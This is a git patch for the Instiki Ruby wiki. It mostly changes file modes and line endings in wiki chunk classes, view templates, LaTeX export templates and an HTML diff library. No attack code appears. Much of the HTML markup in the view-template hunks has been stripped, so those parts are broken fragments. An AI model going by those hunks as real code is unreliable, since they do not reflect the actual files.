From 3b6566577c47b411838690f51a359863f49b629d Mon Sep 17 00:00:00 2001
From: Alexey Verkhovsky
-<%= form_tag({}, {:multipart => true}) %>
-
- File to upload:
-
- as
-
- <% if @page %>
- | Cancel (unlocks page)
- <% end %>
-
+<%= form_tag({}, {:multipart => true}) %>
+
+ File to upload:
+
+ as
+
+ <% if @page %>
+ | Cancel (unlocks page)
+ <% end %>
+ and
blocks
-# and within HTML tags.
-module Literal
- # A literal chunk that protects 'code' and 'pre' tags from wiki rendering.
- class Pre < Chunk::Abstract
- PRE_BLOCKS = "a|pre|code"
- def self.pattern() Regexp.new('<('+PRE_BLOCKS+')\b[^>]*?>.*?\1>', Regexp::MULTILINE) end
- end
-
- # A literal chunk that protects HTML tags from wiki rendering.
- class Tags < Chunk::Abstract
- TAGS = "a|img|em|strong|div|span|table|td|th|ul|ol|li|dl|dt|dd"
- def self.pattern() Regexp.new('<(?:'+TAGS+')[^>]*?>', Regexp::MULTILINE) end
- end
-end
+require 'chunks/chunk'
+
+# These are basic chunks that have a pattern and can be protected.
+# They are used by rendering process to prevent wiki rendering
+# occuring within literal areas such as
and
blocks
+# and within HTML tags.
+module Literal
+ # A literal chunk that protects 'code' and 'pre' tags from wiki rendering.
+ class Pre < Chunk::Abstract
+ PRE_BLOCKS = "a|pre|code"
+ def self.pattern() Regexp.new('<('+PRE_BLOCKS+')\b[^>]*?>.*?\1>', Regexp::MULTILINE) end
+ end
+
+ # A literal chunk that protects HTML tags from wiki rendering.
+ class Tags < Chunk::Abstract
+ TAGS = "a|img|em|strong|div|span|table|td|th|ul|ol|li|dl|dt|dd"
+ def self.pattern() Regexp.new('<(?:'+TAGS+')[^>]*?>', Regexp::MULTILINE) end
+ end
+end
diff --git a/app/models/chunks/nowiki.rb b/app/models/chunks/nowiki.rb
old mode 100755
new mode 100644
index 664beb70..ec135a93
--- a/app/models/chunks/nowiki.rb
+++ b/app/models/chunks/nowiki.rb
@@ -1,31 +1,31 @@
-require 'chunks/chunk'
-
-# This chunks allows certain parts of a wiki page to be hidden from the
-# rest of the rendering pipeline. It should be run at the beginning
-# of the pipeline in `wiki_content.rb`.
-#
-# An example use of this chunk is to markup double brackets or
-# auto URI links:
-#
-
-
+
+
<%= @flash[:error].to_s %>
<%= @flash[:info].to_s %>
<%= @flash[:error].to_s %>
<%= @flash[:info].to_s %>
_your text_ | → | your text |
**your text** | → | your text |
`my code` | → | my code |
* Bulleted list * Second item | → | • Bulleted list • Second item |
1. Numbered list 1. Second item | → | 1. Numbered list 2. Second item |
[link name](URL) | → | link name |
*** | → | Horizontal ruler |
<http://url> <email@add.com> | → | Auto-linked |
![Alt text](URL) | → | Image |
_your text_ | → | your text |
**your text** | → | your text |
`my code` | → | my code |
* Bulleted list * Second item | → | • Bulleted list • Second item |
1. Numbered list 1. Second item | → | 1. Numbered list 2. Second item |
[link name](URL) | → | link name |
*** | → | Horizontal ruler |
<http://url> <email@add.com> | → | Auto-linked |
![Alt text](URL) | → | Image |
_your text_ | → | your text |
*your text* | → | your text |
* Bulleted list * Second item | → | • Bulleted list • Second item |
1. Numbered list 2. Second item | → | 1. Numbered list 2. Second item |
+my_code+ | → | my_code |
--- | → | Horizontal ruler |
[[URL linkname]] | → | linkname |
http://url mailto:e@add.com | → | Auto-linked |
imageURL | → | Image |
_your text_ | → | your text |
*your text* | → | your text |
* Bulleted list * Second item | → | • Bulleted list • Second item |
1. Numbered list 2. Second item | → | 1. Numbered list 2. Second item |
+my_code+ | → | my_code |
--- | → | Horizontal ruler |
[[URL linkname]] | → | linkname |
http://url mailto:e@add.com | → | Auto-linked |
imageURL | → | Image |
_your text_ | → | your text |
*your text* | → | your text |
%{color:red}hello% | → | hello |
* Bulleted list * Second item | → | • Bulleted list • Second item |
# Numbered list # Second item | → | 1. Numbered list 2. Second item |
"linkname":URL | → | linkname |
|a|table|row| |b|table|row| | → | Table |
http://url email@address.com | → | Auto-linked |
!imageURL! | → | Image |
Please correct the error that caused this error in rendering:
#{@params["msg"]}
Please correct the error that caused this error in rendering:
#{@params["msg"]}
You can export all the pages in this web as a zip file in either HTML (with working links and all) or the pure markup (to import in another wiki).
- -You can export all the pages in this web as a zip file in either HTML (with working links and all) or the pure markup (to import in another wiki).
+ +You can subscribe to this wiki by RSS and get either just the headlines of the pages that change or the entire page.
- - +<% @title = "Feeds" %> + +You can subscribe to this wiki by RSS and get either just the headlines of the pages that change or the entire page.
+ + diff --git a/app/views/wiki/list.rhtml b/app/views/wiki/list.rhtml old mode 100755 new mode 100644 index ece95788..77a09b85 --- a/app/views/wiki/list.rhtml +++ b/app/views/wiki/list.rhtml @@ -1,57 +1,57 @@ -<% @title = "All Pages" %> - -<% unless @categories.empty? %> -All content: <%= total_chars %> chars / <%= sprintf("%-.1f", (total_chars / 2275 )) %> pages
-<% end %> -All content: <%= total_chars %> chars / <%= sprintf("%-.1f", (total_chars / 2275 )) %> pages
+<% end %> +<%= @page.locked_by_link %> just started editing this page.
-<% else %> -<%= @page.locked_by_link %> has been editing this page for <%= @page.lock_duration(Time.now) %> minutes.
-<% end %> - -- <%= link_to 'Edit the page anyway', - {:web => @web_name, :action => 'edit', :id => @page.name, :params => {'break_lock' => '1'} }, - {:accesskey => 'E'} - %> - - <%= link_to 'Cancel', - {:web => @web_name, :action => 'show', :id => @page.name}, - {:accesskey => 'C'} - %> - -
+<% @title = "#{@page.plain_name} is locked" %> + +<% if @page.lock_duration(Time.now) == 0 %> +<%= @page.locked_by_link %> just started editing this page.
+<% else %> +<%= @page.locked_by_link %> has been editing this page for <%= @page.lock_duration(Time.now) %> minutes.
+<% end %> + ++ <%= link_to 'Edit the page anyway', + {:web => @web_name, :action => 'edit', :id => @page.name, :params => {'break_lock' => '1'} }, + {:accesskey => 'E'} + %> + + <%= link_to 'Cancel', + {:web => @web_name, :action => 'show', :id => @page.name}, + {:accesskey => 'C'} + %> + +
diff --git a/app/views/wiki/login.rhtml b/app/views/wiki/login.rhtml old mode 100755 new mode 100644 index 5a404509..a6941c72 --- a/app/views/wiki/login.rhtml +++ b/app/views/wiki/login.rhtml @@ -1,8 +1,8 @@ -<% @title = "#{@web_name} Login" %><% @hide_navigation = true %> - - +<% @title = "#{@web_name} Login" %><% @hide_navigation = true %> + + diff --git a/app/views/wiki/new.rhtml b/app/views/wiki/new.rhtml old mode 100755 new mode 100644 index 8871c7fd..9723d85f --- a/app/views/wiki/new.rhtml +++ b/app/views/wiki/new.rhtml @@ -1,25 +1,25 @@ -<% - @title = "Creating #{WikiWords.separate(CGI.unescape(@page_name))}" - @content_width = 720 - @hide_navigation = true -%> - -<%= render("#{@web.markup}_help") if @web %> - - - - +<% + @title = "Creating #{WikiWords.separate(CGI.unescape(@page_name))}" + @content_width = 720 + @hide_navigation = true +%> + +<%= render("#{@web.markup}_help") if @web %> + + + + diff --git a/app/views/wiki/new_system.rhtml b/app/views/wiki/new_system.rhtml old mode 100755 new mode 100644 index c684da4c..4d318e63 --- a/app/views/wiki/new_system.rhtml +++ b/app/views/wiki/new_system.rhtml @@ -1,83 +1,83 @@ -<% @title = "Instiki Setup"; @content_width = 500 %> - -- Congratulations on succesfully installing and starting Instiki. - Since this is the first time Instiki has been run on this port, - you'll need to do a brief one-time setup. -
- - - - +<% @title = "Instiki Setup"; @content_width = 500 %> + ++ Congratulations on succesfully installing and starting Instiki. + Since this is the first time Instiki has been run on this port, + you'll need to do a brief one-time setup. +
+ + + + diff --git a/app/views/wiki/new_web.rhtml b/app/views/wiki/new_web.rhtml old mode 100755 new mode 100644 index 7a64f6e2..d37ffcee --- a/app/views/wiki/new_web.rhtml +++ b/app/views/wiki/new_web.rhtml @@ -1,69 +1,69 @@ -<% @title = "New Wiki Web"; @content_width = 500 %> - -- Each web serves as an isolated name space for wiki pages, - so different subjects or projects can write about different MuppetShows. -
- - - - +<% @title = "New Wiki Web"; @content_width = 500 %> + ++ Each web serves as an isolated name space for wiki pages, + so different subjects or projects can write about different MuppetShows. +
+ + + + diff --git a/app/views/wiki/page.rhtml b/app/views/wiki/page.rhtml old mode 100755 new mode 100644 index 0c26057a..41b13de6 --- a/app/views/wiki/page.rhtml +++ b/app/views/wiki/page.rhtml @@ -1,78 +1,78 @@ -<% @title = @page.plain_name %> - -Perhaps you should try expanding your query. Remember that Instiki searches for entire phrases, so if you search for "all that jazz" it will not match pages that contain these words in separation—only as a sentence fragment.
- -If you're a high-tech computer wizard, you might even want try constructing a regular expression. That's actually what Instiki uses, so go right ahead and flex your "[a-z]*Leet?RegExpSkill(s|z)"
-<% end %> +<% @title = @results.length > 0 ? "#{@results.length} pages contains \"#{@params["query"]}\"" : "No pages contains \"#{@query}\"" %> + +<% if @results.length > 0 %> +Perhaps you should try expanding your query. Remember that Instiki searches for entire phrases, so if you search for "all that jazz" it will not match pages that contain these words in separation—only as a sentence fragment.
+ +If you're a high-tech computer wizard, you might even want try constructing a regular expression. That's actually what Instiki uses, so go right ahead and flex your "[a-z]*Leet?RegExpSkill(s|z)"
+<% end %> diff --git a/app/views/wiki/tex.rhtml b/app/views/wiki/tex.rhtml old mode 100755 new mode 100644 index ae8d5c81..ea9a06c6 --- a/app/views/wiki/tex.rhtml +++ b/app/views/wiki/tex.rhtml @@ -1,23 +1,23 @@ -\documentclass[12pt,titlepage]{article} - -\usepackage[danish]{babel} %danske tekster -\usepackage[OT1]{fontenc} %rigtige danske bogstaver... -\usepackage{a4} -\usepackage{graphicx} -\usepackage{ucs} -\usepackage[utf8x]{inputenc} -\input epsf - -%------------------------------------------------------------------- - -\begin{document} - -\sloppy - -%------------------------------------------------------------------- - -\section*{<%= @page.name %>} - -<%= @tex_content %> - +\documentclass[12pt,titlepage]{article} + +\usepackage[danish]{babel} %danske tekster +\usepackage[OT1]{fontenc} %rigtige danske bogstaver... +\usepackage{a4} +\usepackage{graphicx} +\usepackage{ucs} +\usepackage[utf8x]{inputenc} +\input epsf + +%------------------------------------------------------------------- + +\begin{document} + +\sloppy + +%------------------------------------------------------------------- + +\section*{<%= @page.name %>} + +<%= @tex_content %> + \end{document} \ No newline at end of file diff --git a/app/views/wiki/tex_web.rhtml b/app/views/wiki/tex_web.rhtml old mode 100755 new mode 100644 index 9fd8c5a3..45953c52 --- a/app/views/wiki/tex_web.rhtml +++ b/app/views/wiki/tex_web.rhtml @@ -1,35 +1,35 @@ -\documentclass[12pt,titlepage]{article} - -\usepackage{fancyhdr} -\pagestyle{fancy} - -\fancyhead[LE,RO]{} -\fancyhead[LO,RE]{\nouppercase{\bfseries \leftmark}} -\fancyfoot[C]{\thepage} - -\usepackage[danish]{babel} %danske tekster -\usepackage{a4} -\usepackage{graphicx} -\usepackage{ucs} -\usepackage[utf8]{inputenc} -\input epsf - - -%------------------------------------------------------------------- - -\title{<%= @web_name %>} - -\begin{document} - -\maketitle - -\tableofcontents -\pagebreak - -\sloppy - -%------------------------------------------------------------------- - -<%= @tex_content %> - +\documentclass[12pt,titlepage]{article} + +\usepackage{fancyhdr} +\pagestyle{fancy} + +\fancyhead[LE,RO]{} +\fancyhead[LO,RE]{\nouppercase{\bfseries \leftmark}} +\fancyfoot[C]{\thepage} + +\usepackage[danish]{babel} %danske tekster +\usepackage{a4} +\usepackage{graphicx} +\usepackage{ucs} +\usepackage[utf8]{inputenc} +\input epsf + + +%------------------------------------------------------------------- + +\title{<%= @web_name %>} + +\begin{document} + +\maketitle + +\tableofcontents +\pagebreak + +\sloppy + +%------------------------------------------------------------------- + +<%= @tex_content %> + \end{document} \ No newline at end of file diff --git a/app/views/wiki/web_list.rhtml b/app/views/wiki/web_list.rhtml old mode 100755 new mode 100644 index 71e124fb..ebdde98d --- a/app/views/wiki/web_list.rhtml +++ b/app/views/wiki/web_list.rhtml @@ -1,18 +1,18 @@ -<% @title = "Wiki webs" %> - -- Two or more uppercase words stuck together (camel case) or any phrase surrounded by double - brackets is a wiki word. A camel-case wiki word can be escaped by putting \ in front of it. -
-
- Wiki words: HomePage, ThreeWordsTogether, [[C++]], [[Let's play again!]]
- Not wiki words: IBM, School
-
+ Two or more uppercase words stuck together (camel case) or any phrase surrounded by double + brackets is a wiki word. A camel-case wiki word can be escaped by putting \ in front of it. +
+
+ Wiki words: HomePage, ThreeWordsTogether, [[C++]], [[Let's play again!]]
+ Not wiki words: IBM, School
+
tags, but it appeared also with -#
tags or newline chars before the opening diff tags ( or this is the original string but around the world this is the original other parag string tags, but it appeared also with
+# tags or newline chars before the opening diff tags ( or this is the original string but around the world this is the original other parag string \n/, '').sub(/<\/p>$/, '')
- end
-end
-
-# Handle special hyperlinking requirments for RDoc formatted
-# entries. Requires RDoc
-
-class HyperLinkHtml < SM::ToHtml
-
- # Initialize the HyperLinkHtml object.
- # [path] location of the node
- # [site] object representing the whole site (typically of class
- # +Site+)
- def initialize
- super()
- add_tag(:CENTER, " \n/, '').sub(/<\/p>$/, '')
+ end
+end
+
+# Handle special hyperlinking requirments for RDoc formatted
+# entries. Requires RDoc
+
+class HyperLinkHtml < SM::ToHtml
+
+ # Initialize the HyperLinkHtml object.
+ # [path] location of the node
+ # [site] object representing the whole site (typically of class
+ # +Site+)
+ def initialize
+ super()
+ add_tag(:CENTER, " \\1 \\1 rails-e2e.gif" +
- "? instiki-e2e.txt" +
- "? rails-e2e.gif" +
+ "? instiki-e2e.txt" +
+ "? this was the original string this is the super string around the world this the " +
- " around the world this was the original string this is the super string around the world this the " +
+ " around the world His Way? ' +
- 'would be My Way in kinda ' +
- 'That Way in ' +
- 'His Way? ' +
- 'though My Way OverThere—see ' +
- 'Smart Engine in that ' +
- 'Smart Engine GUI' +
- '? that } +
- %{Smart Engine GUI? This is a code block: Nice! http://www.loudthinking.com/ ' +
- 'points to That Way from ' +
- 'david@loudthinking.com Would a clever motor' +
- ' go by any other name? should we go ' +
- 'That Way or This Way?' +
- ' That is some Stylish Emphasis WikiWord The W3C body (' +
- 'http://www.w3c.org) sets web standards This is a Textile image link. Do not mark up [[this text]] or http://www.thislink.com. This is a WikiWord and a tricky name ' +
- 'Sperberg-McQueen?. His Way would be ' +
- 'My Way in kinda ' +
- 'That Way in ' +
- 'His Way though ' +
- 'My Way OverThere—see ' +
- 'Smart Engine in that ' +
- 'Smart Engine GUI Version History' +
- "? cry " +
- 'Version History?' +
- ' f cry " +
- "Version History?" +
- " It's just awesome GUI!" +
- "? What a doc.pdf? NonExistant?' +
- ' NonExistant.jpg?' +
- ' His Way? ' +
+ 'would be My Way in kinda ' +
+ 'That Way in ' +
+ 'His Way? ' +
+ 'though My Way OverThere—see ' +
+ 'Smart Engine in that ' +
+ 'Smart Engine GUI' +
+ '? that } +
+ %{Smart Engine GUI? This is a code block: Nice! http://www.loudthinking.com/ ' +
+ 'points to That Way from ' +
+ 'david@loudthinking.com Would a clever motor' +
+ ' go by any other name? should we go ' +
+ 'That Way or This Way?' +
+ ' That is some Stylish Emphasis WikiWord The W3C body (' +
+ 'http://www.w3c.org) sets web standards This is a Textile image link. Do not mark up [[this text]] or http://www.thislink.com. This is a WikiWord and a tricky name ' +
+ 'Sperberg-McQueen?. His Way would be ' +
+ 'My Way in kinda ' +
+ 'That Way in ' +
+ 'His Way though ' +
+ 'My Way OverThere—see ' +
+ 'Smart Engine in that ' +
+ 'Smart Engine GUI Version History' +
+ "? cry " +
+ 'Version History?' +
+ ' f cry " +
+ "Version History?" +
+ " It's just awesome GUI!" +
+ "? What a doc.pdf? NonExistant?' +
+ ' NonExistant.jpg?' +
+ ' Yo, yo. Have you Ever Been Hated' +
- '? Yo, yo. Have you Ever Been Hated Yo, yo. Have you Ever Been Hated' +
+ '? Yo, yo. Have you Ever Been Hated)
- # or after the ending diff tags
- # as a result the diff tags should be the "more inside" possible.
- # this seems to work nice with html containing only paragraphs
- # but not sure it works if there are other tags (div, span ... ? ) around
- def op_helper(tagname, tagclass, to_add)
- @content << to_add.shift while ( HTMLDiff.is_newline(to_add.first) or
- HTMLDiff.is_p_close_tag(to_add.first) or
- HTMLDiff.is_p_open_tag(to_add.first) )
- @content << "<#{tagname} class=\"#{tagclass}\">"
- @content += to_add
- last_tags = []
- last_tags.unshift(@content.pop) while ( HTMLDiff.is_newline(@content.last) or
- HTMLDiff.is_p_close_tag(@content.last) or
- HTMLDiff.is_p_open_tag(@content.last) )
- last_tags.unshift "#{tagname}>"
- @content += last_tags
- remove_empty_diff(tagname, tagclass)
- end
-
- def remove_empty_diff(tagname, tagclass)
- if @content[-2] == "<#{tagname} class=\"#{tagclass}\">" and @content[-1] == "#{tagname}>" then
- @content.pop
- @content.pop
- end
- end
-
- end
-
- def self.is_newline(x)
- (x == "\n") or (x == "\r") or (x == "\t")
- end
-
- def self.is_p_open_tag(x)
- x =~ /\A<(p|li|ul|ol|dir|dt|dl)/
- end
-
- def self.is_p_close_tag(x)
- x =~ %r!\A(p|li|ul|ol|dir|dt|dl)!
- end
-
- def self.diff(a, b)
- a, b = a.split(//), b.split(//) if a.kind_of? String and b.kind_of? String
- a, b = html2list(a), html2list(b)
-
- out = Builder.new(a, b)
- s = SequenceMatcher.new(a, b)
-
- s.get_opcodes.each do |opcode|
- out.do_op(opcode)
- end
-
- out.result
- end
-
- def self.html2list(x, b=false)
- mode = 'char'
- cur = ''
- out = []
-
- x = x.split(//) if x.kind_of? String
-
- x.each do |c|
- if mode == 'tag'
- if c == '>'
- if b
- cur += ']'
- else
- cur += c
- end
- out.push(cur)
- cur = ''
- mode = 'char'
- else
- cur += c
- end
- elsif mode == 'char'
- if c == '<'
- out.push cur
- if b
- cur = '['
- else
- cur = c
- end
- mode = 'tag'
- elsif /\s/.match c
- out.push cur + c
- cur = ''
- else
- cur += c
- end
- end
- end
-
- out.push cur
- # TODO: make something better here
- out.each{|x| x.chomp! unless is_newline(x)}
- out.find_all { |x| x != '' }
- end
-
-
-end
-
-if __FILE__ == $0
-
- require 'pp'
- # a = "\n\t
"
- b = "\n\t
"
- puts a
- pp HTMLDiff.html2list(a)
- puts
- puts b
- pp HTMLDiff.html2list(b)
- puts
- puts HTMLDiff.diff(a, b)
+# heavily based off difflib.py - see that file for documentation
+# ported from Python by Bill Atkins
+
+# This does not support all features offered by difflib; it
+# implements only the subset of features necessary
+# to support a Ruby version of HTML Differ. You're welcome to finish this off.
+
+# By default, String#each iterates by line. This isn't really appropriate
+# for diff, so often a string will be split by // to get an array of one-
+# character strings.
+
+# Some methods in Diff are untested and are not guaranteed to work. The
+# methods in HTMLDiff and any methods it calls should work quite well.
+
+# changes by DenisMertz
+# * main change:
+# ** get the tag soup away
+# the tag soup problem was first reported with etc... tags
+# this version should mostly fix these problems
+# ** added a Builder class to manage the creation of the final htmldiff
+# * minor changes:
+# ** use symbols instead of string to represent opcodes
+# ** small fix to html2list
+#
+
+module Enumerable
+ def reduce(init)
+ result = init
+ each { |item| result = yield(result, item) }
+ result
+ end
+end
+
+module Diff
+
+ class SequenceMatcher
+ def initialize(a=[''], b=[''], isjunk=nil, byline=false)
+ a = (!byline and a.kind_of? String) ? a.split(//) : a
+ b = (!byline and b.kind_of? String) ? b.split(//) : b
+ @isjunk = isjunk || proc {}
+ set_seqs a, b
+ end
+
+ def set_seqs(a, b)
+ set_seq_a a
+ set_seq_b b
+ end
+
+ def set_seq_a(a)
+ @a = a
+ @matching_blocks = @opcodes = nil
+ end
+
+ def set_seq_b(b)
+ @b = b
+ @matching_blocks = @opcodes = nil
+ chain_b
+ end
+
+ def chain_b
+ @fullbcount = nil
+ @b2j = {}
+ pophash = {}
+ junkdict = {}
+
+ @b.each_with_index do |elt, i|
+ if @b2j.has_key? elt
+ indices = @b2j[elt]
+ if @b.length >= 200 and indices.length * 100 > @b.length
+ pophash[elt] = 1
+ indices.clear
+ else
+ indices.push i
+ end
+ else
+ @b2j[elt] = [i]
+ end
+ end
+
+ pophash.each_key { |elt| @b2j.delete elt }
+
+ junkdict = {}
+
+ unless @isjunk.nil?
+ [pophash, @b2j].each do |d|
+ d.each_key do |elt|
+ if @isjunk.call(elt)
+ junkdict[elt] = 1
+ d.delete elt
+ end
+ end
+ end
+ end
+
+ @isbjunk = junkdict.method(:has_key?)
+ @isbpopular = junkdict.method(:has_key?)
+ end
+
+ def find_longest_match(alo, ahi, blo, bhi)
+ besti, bestj, bestsize = alo, blo, 0
+
+ j2len = {}
+
+ (alo..ahi).step do |i|
+ newj2len = {}
+ (@b2j[@a[i]] || []).each do |j|
+ if j < blo
+ next
+ end
+ if j >= bhi
+ break
+ end
+
+ k = newj2len[j] = (j2len[j - 1] || 0) + 1
+ if k > bestsize
+ besti, bestj, bestsize = i - k + 1, j - k + 1, k
+ end
+ end
+ j2len = newj2len
+ end
+
+ while besti > alo and bestj > blo and
+ not @isbjunk.call(@b[bestj-1]) and
+ @a[besti-1] == @b[bestj-1]
+ besti, bestj, bestsize = besti-1, bestj-1, bestsize+1
+ end
+
+ while besti+bestsize < ahi and bestj+bestsize < bhi and
+ not @isbjunk.call(@b[bestj+bestsize]) and
+ @a[besti+bestsize] == @b[bestj+bestsize]
+ bestsize += 1
+ end
+
+ while besti > alo and bestj > blo and
+ @isbjunk.call(@b[bestj-1]) and
+ @a[besti-1] == @b[bestj-1]
+ besti, bestj, bestsize = besti-1, bestj-1, bestsize+1
+ end
+
+ while besti+bestsize < ahi and bestj+bestsize < bhi and
+ @isbjunk.call(@b[bestj+bestsize]) and
+ @a[besti+bestsize] == @b[bestj+bestsize]
+ bestsize += 1
+ end
+
+ [besti, bestj, bestsize]
+ end
+
+ def get_matching_blocks
+ return @matching_blocks unless @matching_blocks.nil? or
+ @matching_blocks.empty?
+
+ @matching_blocks = []
+ la, lb = @a.length, @b.length
+ match_block_helper(0, la, 0, lb, @matching_blocks)
+ @matching_blocks.push [la, lb, 0]
+ end
+
+ def match_block_helper(alo, ahi, blo, bhi, answer)
+ i, j, k = x = find_longest_match(alo, ahi, blo, bhi)
+ if not k.zero?
+ if alo < i and blo < j
+ match_block_helper(alo, i, blo, j, answer)
+ end
+ answer.push x
+ if i + k < ahi and j + k < bhi
+ match_block_helper(i + k, ahi, j + k, bhi, answer)
+ end
+ end
+ end
+
+ def get_opcodes
+ unless @opcodes.nil? or @opcodes.empty?
+ return @opcodes
+ end
+
+ i = j = 0
+ @opcodes = answer = []
+ get_matching_blocks.each do |ai, bj, size|
+ tag = if i < ai and j < bj
+ :replace
+ elsif i < ai
+ :delete
+ elsif j < bj
+ :insert
+ end
+
+ answer.push [tag, i, ai, j, bj] if tag
+
+ i, j = ai + size, bj + size
+
+ answer.push [:equal, ai, i, bj, j] unless size.zero?
+
+ end
+ return answer
+ end
+
+ # XXX: untested
+ def get_grouped_opcodes(n=3)
+ codes = get_opcodes
+ if codes[0][0] == :equal
+ tag, i1, i2, j1, j2 = codes[0]
+ codes[0] = tag, [i1, i2 - n].max, i2, [j1, j2-n].max, j2
+ end
+
+ if codes[-1][0] == :equal
+ tag, i1, i2, j1, j2 = codes[-1]
+ codes[-1] = tag, i1, min(i2, i1+n), j1, min(j2, j1+n)
+ end
+ nn = n + n
+ group = []
+ codes.each do |tag, i1, i2, j1, j2|
+ if tag == :equal and i2-i1 > nn
+ group.push [tag, i1, [i2, i1 + n].min, j1, [j2, j1 + n].min]
+ yield group
+ group = []
+ i1, j1 = [i1, i2-n].max, [j1, j2-n].max
+ group.push [tag, i1, i2, j1 ,j2]
+ end
+ end
+ if group and group.length != 1 and group[0][0] == :equal
+ yield group
+ end
+ end
+
+ def ratio
+ matches = get_matching_blocks.reduce(0) do |sum, triple|
+ sum + triple[-1]
+ end
+ Diff.calculate_ratio(matches, @a.length + @b.length)
+ end
+
+ def quick_ratio
+ if @fullbcount.nil? or @fullbcount.empty?
+ @fullbcount = {}
+ @b.each do |elt|
+ @fullbcount[elt] = (@fullbcount[elt] || 0) + 1
+ end
+ end
+
+ avail = {}
+ matches = 0
+ @a.each do |elt|
+ if avail.has_key? elt
+ numb = avail[elt]
+ else
+ numb = @fullbcount[elt] || 0
+ end
+ avail[elt] = numb - 1
+ if numb > 0
+ matches += 1
+ end
+ end
+ Diff.calculate_ratio matches, @a.length + @b.length
+ end
+
+ def real_quick_ratio
+ la, lb = @a.length, @b.length
+ Diff.calculate_ratio([la, lb].min, la + lb)
+ end
+
+ protected :chain_b, :match_block_helper
+ end # end class SequenceMatcher
+
+ def self.calculate_ratio(matches, length)
+ return 1.0 if length.zero?
+ 2.0 * matches / length
+ end
+
+ # XXX: untested
+ def self.get_close_matches(word, possibilities, n=3, cutoff=0.6)
+ unless n > 0
+ raise "n must be > 0: #{n}"
+ end
+ unless 0.0 <= cutoff and cutoff <= 1.0
+ raise "cutoff must be in (0.0..1.0): #{cutoff}"
+ end
+
+ result = []
+ s = SequenceMatcher.new
+ s.set_seq_b word
+ possibilities.each do |x|
+ s.set_seq_a x
+ if s.real_quick_ratio >= cutoff and
+ s.quick_ratio >= cutoff and
+ s.ratio >= cutoff
+ result.push [s.ratio, x]
+ end
+ end
+
+ unless result.nil? or result.empty?
+ result.sort
+ result.reverse!
+ result = result[-n..-1]
+ end
+ result.collect { |score, x| x }
+ end
+
+ def self.count_leading(line, ch)
+ i, n = 0, line.length
+ while i < n and line[i].chr == ch
+ i += 1
+ end
+ i
+ end
+end
+
+
+module HTMLDiff
+ include Diff
+ class Builder
+ VALID_METHODS = [:replace, :insert, :delete, :equal]
+ def initialize(a, b)
+ @a = a
+ @b = b
+ @content = []
+ end
+
+ def do_op(opcode)
+ @opcode = opcode
+ op = @opcode[0]
+ VALID_METHODS.include?(op) or raise(NameError, "Invalid opcode #{op}")
+ self.method(op).call
+ end
+
+ def result
+ @content.join('')
+ end
+
+ #this methods have to be called via do_op(opcode) so that @opcode is set properly
+ private
+
+ def replace
+ delete("diffmod")
+ insert("diffmod")
+ end
+
+ def insert(tagclass="diffins")
+ op_helper("ins", tagclass, @b[@opcode[3]...@opcode[4]])
+ end
+
+ def delete(tagclass="diffdel")
+ op_helper("del", tagclass, @a[@opcode[1]...@opcode[2]])
+ end
+
+ def equal
+ @content += @b[@opcode[3]...@opcode[4]]
+ end
+
+ # using this as op_helper would be equivalent to the first version of diff.rb by Bill Atkins
+ def op_helper_simple(tagname, tagclass, to_add)
+ @content << "<#{tagname} class=\"#{tagclass}\">"
+ @content += to_add
+ @content << "#{tagname}>"
+ end
+
+ # this tries to put
)
+ # or after the ending diff tags
+ # as a result the diff tags should be the "more inside" possible.
+ # this seems to work nice with html containing only paragraphs
+ # but not sure it works if there are other tags (div, span ... ? ) around
+ def op_helper(tagname, tagclass, to_add)
+ @content << to_add.shift while ( HTMLDiff.is_newline(to_add.first) or
+ HTMLDiff.is_p_close_tag(to_add.first) or
+ HTMLDiff.is_p_open_tag(to_add.first) )
+ @content << "<#{tagname} class=\"#{tagclass}\">"
+ @content += to_add
+ last_tags = []
+ last_tags.unshift(@content.pop) while ( HTMLDiff.is_newline(@content.last) or
+ HTMLDiff.is_p_close_tag(@content.last) or
+ HTMLDiff.is_p_open_tag(@content.last) )
+ last_tags.unshift "#{tagname}>"
+ @content += last_tags
+ remove_empty_diff(tagname, tagclass)
+ end
+
+ def remove_empty_diff(tagname, tagclass)
+ if @content[-2] == "<#{tagname} class=\"#{tagclass}\">" and @content[-1] == "#{tagname}>" then
+ @content.pop
+ @content.pop
+ end
+ end
+
+ end
+
+ def self.is_newline(x)
+ (x == "\n") or (x == "\r") or (x == "\t")
+ end
+
+ def self.is_p_open_tag(x)
+ x =~ /\A<(p|li|ul|ol|dir|dt|dl)/
+ end
+
+ def self.is_p_close_tag(x)
+ x =~ %r!\A(p|li|ul|ol|dir|dt|dl)!
+ end
+
+ def self.diff(a, b)
+ a, b = a.split(//), b.split(//) if a.kind_of? String and b.kind_of? String
+ a, b = html2list(a), html2list(b)
+
+ out = Builder.new(a, b)
+ s = SequenceMatcher.new(a, b)
+
+ s.get_opcodes.each do |opcode|
+ out.do_op(opcode)
+ end
+
+ out.result
+ end
+
+ def self.html2list(x, b=false)
+ mode = 'char'
+ cur = ''
+ out = []
+
+ x = x.split(//) if x.kind_of? String
+
+ x.each do |c|
+ if mode == 'tag'
+ if c == '>'
+ if b
+ cur += ']'
+ else
+ cur += c
+ end
+ out.push(cur)
+ cur = ''
+ mode = 'char'
+ else
+ cur += c
+ end
+ elsif mode == 'char'
+ if c == '<'
+ out.push cur
+ if b
+ cur = '['
+ else
+ cur = c
+ end
+ mode = 'tag'
+ elsif /\s/.match c
+ out.push cur + c
+ cur = ''
+ else
+ cur += c
+ end
+ end
+ end
+
+ out.push cur
+ # TODO: make something better here
+ out.each{|x| x.chomp! unless is_newline(x)}
+ out.find_all { |x| x != '' }
+ end
+
+
+end
+
+if __FILE__ == $0
+
+ require 'pp'
+ # a = "\n\t
"
+ b = "\n\t
"
+ puts a
+ pp HTMLDiff.html2list(a)
+ puts
+ puts b
+ pp HTMLDiff.html2list(b)
+ puts
+ puts HTMLDiff.diff(a, b)
end
\ No newline at end of file
diff --git a/libraries/instiki_errors.rb b/libraries/instiki_errors.rb
index 52efc571..0737ab46 100644
--- a/libraries/instiki_errors.rb
+++ b/libraries/instiki_errors.rb
@@ -1,15 +1,15 @@
-# Model methods that want to rollback transactions gracefully
-# (i.e, returning the user back to the form from which the request was posted)
-# should raise Instiki::ValidationError.
-#
-# E.g. if a model object does
-# raise "Foo: '#{foo}' is not equal to Bar: '#{bar}'" if (foo != bar)
-#
-# then the operation is not committed; Rails returns the user to the page
-# where s/he was entering foo and bar, and the error message will be displayed
-# on the page
-
-module Instiki
- class ValidationError < StandardError
- end
+# Model methods that want to rollback transactions gracefully
+# (i.e, returning the user back to the form from which the request was posted)
+# should raise Instiki::ValidationError.
+#
+# E.g. if a model object does
